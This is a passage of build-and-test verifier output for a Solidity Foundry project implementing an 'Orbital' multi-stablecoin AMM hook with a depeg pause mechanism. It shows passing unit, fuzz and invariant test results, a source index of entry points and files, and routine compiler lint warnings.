testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321628, ~: 321984)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1628, ~: 1647)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 260.61ms (333.10ms CPU time)\n\nRan 22 tests for test/ReactiveEdge.t.sol:ReactiveEdgeTest\n[PASS] testFuzz_nonPositivePricesAlwaysTrip(int256,uint256) (runs: 500, μ: 1066975, ~: 1066940)\n[PASS] testFuzz_pegIsAlwaysInBandAndBandIsSymmetric(uint256,int256) (runs: 500, μ: 1023019, ~: 1024379)\n[PASS] test_anotherAggregatorIsLatchedAndRoundTrackedOnItsOwn() (gas: 417953)\n[PASS] test_breakerCanOnlyPauseNeverResume() (gas: 434687)\n[PASS] test_callbackAcceptsPlainEther() (gas: 33107)\n[PASS] test_callbackPayloadCarriesFeedPriceAndRound() (gas: 104405)\n[PASS] test_callbackPaymentFailsWhenUnderfunded() (gas: 78129)\n[PASS] test_callbackWithdrawFailures() (gas: 294240)\n[PASS] test_constructorRejectsNonPositivePegAndZeroCallback() (gas: 475996)\n[PASS] test_deliveryWhilePausedIsHarmlessAndStillEmits() (gas: 455373)\n[PASS] test_depegEmitsDepegDetectedBeforeCallback() (gas: 72511)\n[PASS] test_failedDeliveryIsNotRetriedWithinTheExcursion() (gas: 2373319)\n[PASS] test_inBandEmitsPriceInBandAndNoCallback() (gas: 45714)\n[PASS] test_networkCopySubscribesToTheFeedInItsConstructor() (gas: 1441635)\n[PASS] test_networkCopySubscriptionManagementIsOwnerOnly() (gas: 1611872)\n[PASS] test_ownerOfTheCallbackCannotTriggerItDirectly() (gas: 45119)\n[PASS] test_proxyRotationIsImmutable() (gas: 1152047)\n[PASS] test_reactVmCopyNeverTalksToTheSystemContract() (gas: 8319)\n[PASS] test_reactivePaymentFailsWhenUnderfunded() (gas: 200258)\n[PASS] test_rvmIdRotationRejectsTheOldId() (gas: 236773)\n[PASS] test_widestBandStillTripsOnCollapse() (gas: 1017521)\n[PASS] test_zeroBandTripsOnAnyDeviation() (gas: 1005826)\nSuite result: ok. 22 passed; 0 failed; 0 skipped; finished in 272.01ms (91.24ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1703368, ~: 1723258)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2150901, ~: 2301866)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1551341, ~: 1415368)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177662)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 6908840)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3370656)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1547538)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603760)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605625)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2516704)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294706)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1736088)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1941799)\n[PASS] test_swapExactInNearPeg() (gas: 1819699)\n[PASS] test_swapExactOut() (gas: 1692557)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134262)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1932839)\n[PASS] test_swapTooLargeReverts() (gas: 613684)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69917)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1969434)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 276.15ms (662.20ms CPU time)\n\nRan 27 tests for test/OrbitalHookEdge.t.sol:OrbitalHookEdgeTest\n[PASS] testFuzz_depositWithdrawCycleNeverProfits(uint256,uint256,uint256) (runs: 300, μ: 2217465, ~: 2353886)\n[PASS] testFuzz_exactOutNeverCheaperThanExactInAcrossTheSameSize(uint256,bool) (runs: 300, μ: 1789859, ~: 1537733)\n[PASS] test_allOrbitalPoolsShareOneSphere() (gas: 4328167)\n[PASS] test_basketTokenWithoutCodeCanNeverBeDeposited() (gas: 17955788)\n[PASS] test_collectFeesEdges() (gas: 1614184)\n[PASS] test_constructorBoundsOnBasketAndLevels() (gas: 7898585)\n[PASS] test_depositIntoPinnedTickThenUnpinAndExit() (gas: 4717068)\n[PASS] test_depositWhileAllPinnedOnlyIntoThePinnedTick() (gas: 3473801)\n[PASS] test_eightTokenBasketWorksEndToEnd() (gas: 13030773)\n[PASS] test_emptyTickDepositedPastItsPlaneOpensPinned() (gas: 13321229)\n[PASS] test_exactOutCrossesTickAndMatchesQuote() (gas: 2568384)\n[PASS] test_feeOnTransferBasketTokenCannotDeposit() (gas: 4921419)\n[PASS] test_feesAreSplitByRadiusAcrossLps() (gas: 1738755)\n[PASS] test_formerOwnerLosesEverything() (gas: 170513)\n[PASS] test_hugeSwapsRevertInsteadOfOverflowing() (gas: 1654964)\n[PASS] test_intruderCannotDriveTheHooksSettlement() (gas: 1349076)\n[PASS] test_maxFeeSwapChargesOnePercent() (gas: 1822969)\n[PASS] test_oneWeiSwapsNeverPayOutMoreThanPar() (gas: 2416486)\n[PASS] test_pauseBlocksOrbitalPoolInitialisationToo() (gas: 4556365)\n[PASS] test_pauseIsIdempotentAndOnlyEmitsOnChange() (gas: 198343)\n[PASS] test_pinnedLpCanAlwaysLeaveEvenWhenNoInteriorRemains() (gas: 2410490)\n[PASS] test_quoteRejectsBadTokens() (gas: 1371423)\n[PASS] test_quotesRefuseBeforeAnyLiquidity() (gas: 260026)\n[PASS] test_rotatedGuardianLosesPausePower() (gas: 232794)\n[PASS] test_transferFromReturningFalseIsAFailure() (gas: 5149366)\n[PASS] test_withdrawWithoutPositionIsRefused() (gas: 863941)\n[PASS] test_zeroFeeSwapAccruesNothing() (gas: 1415031)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 319.26ms (700.27ms CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12232903, ~: 12221360)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5075679)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 60655317)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.04s (1.15s CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11602542, ~: 11694281)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8272686)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.10s (1.05s CPU time)\n\nRan 1 test for test/invariant/OrbitalFrozenCoinInvariant.t.sol:OrbitalFrozenCoinInvariantTest\n[PASS]\nOrbitalFrozenCoinInvariantTest invariants:\n[PASS] invariant_claimsAccountForEveryToken\n[PASS] invariant_hookStaysSolventWhileCoinsFreeze\n[PASS] invariant_radiusAccountingUnderFreezes\n OrbitalFrozenCoinInvariantTest invariants (runs: 64, calls: 2560, reverts: 0)\n\n╭-------------------+-------------+-------+---------+----------╮\n| Contract          | Selector    | Calls | Reverts | Discards |\n+==============================================================+\n| FrozenCoinHandler | collectFees | 441   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | deposit     | 441   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | freeze      | 401   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | redeem      | 409   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | swapExactIn | 464   | 0       | 0        |\n|-------------------+-------------+-------+---------+----------|\n| FrozenCoinHandler | withdraw    | 404   | 0       | 0        |\n╰-------------------+-------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.32s (2.30s CPU time)\n\nRan 1 test for test/invariant/OrbitalHookInvariant.t.sol:OrbitalHookInvariantTest\n[PASS]\nOrbitalHookInvariantTest invariants:\n[PASS] invariant_adminSurfaceUnchanged\n[PASS] invariant_boundaryMaskMatchesPosition\n[PASS] invariant_claimsCoverReservesAndFees\n[PASS] invariant_pointStaysOnTorusAboveFloor\n[PASS] invariant_radiusAccounting\n[PASS] invariant_tokenConservation\n OrbitalHookInvariantTest invariants (runs: 96, calls: 3840, reverts: 0)\n\n╭----------------+--------------+-------+---------+----------╮\n| Contract       | Selector     | Calls | Reverts | Discards |\n+============================================================+\n| OrbitalHandler | collectFees  | 470   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | deposit      | 511   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | roundTrip    | 494   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | setFee       | 465   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactIn  | 494   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactOut | 501   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | togglePause  | 446   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | withdraw     | 459   | 0       | 0        |\n╰----------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03s (5.97s CPU time)\n\nRan 17 test suites in 6.04s (12.29s CPU time): 137 tests passed, 0 failed, 0 skipped (137 total tests)\n","passed":true},{"durationMs":83,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":403,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1046,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":177,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalHookEdge.t.sol\":777,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":483,\"test/ReactiveEdge.t.sol\":506,\"test/invariant/OrbitalFrozenCoinInvariant.t.sol\":401,\"test/invariant/OrbitalHookInvariant.t.sol\":780,\"test/invariant/OrbitalTokenInvariant.t.sol\":123,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/mocks/MockERC20FeeOnTransfer.sol\":57,\"test/mocks/MockERC20ReturnsFalse.sol\":52,\"test/utils/BasketHarness.sol\":167,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"2b732d37e585549a9e071f9a6ccd74d06a01f353ffd62a3f424f35909b9a4cea","verifiedTreeHash":"592800433da52de21a2b0bc189d4d91130360f3c","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":4082,"exitCode":0,"name":"build","output":"Compiling 88 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.70s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:659:24\n    │\n659 │             return (v, false);\n    │                        ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:20\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:49\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:64\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:20\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:45\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:135:32\n    │\n135 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:17\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:46\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:62\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:76\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:196:29\n    │\n196 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:25\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:82:39\n   │\n82 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:38\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:211:20\n    │\n211 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:212:20\n    │\n212 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:21\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:34\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:94:24\n   │\n94 │         int256 price = int256(log.topic_1);\n   │                        ━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:131:23\n    │\n131 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:66:9\n   │\n66 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:40:56\n   │\n40 │     constructor(address _callbackProxy, address _hook, address _rvmId, address _owner) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:55:9\n   │\n55 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:58:23\n   │\n58 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:77:23\n   │\n77 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:498:9\n    │\n498 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:23\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:35\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:223:13\n    │\n223 │         t = uint256(chosen);\n    │             ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:16\n    │\n224 │         dOut = uint256(chosen - cShift);\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:167:9\n    │\n167 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:188:56\n    │\n188 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:190:27\n    │\n190 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:53\n    │\n203 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or 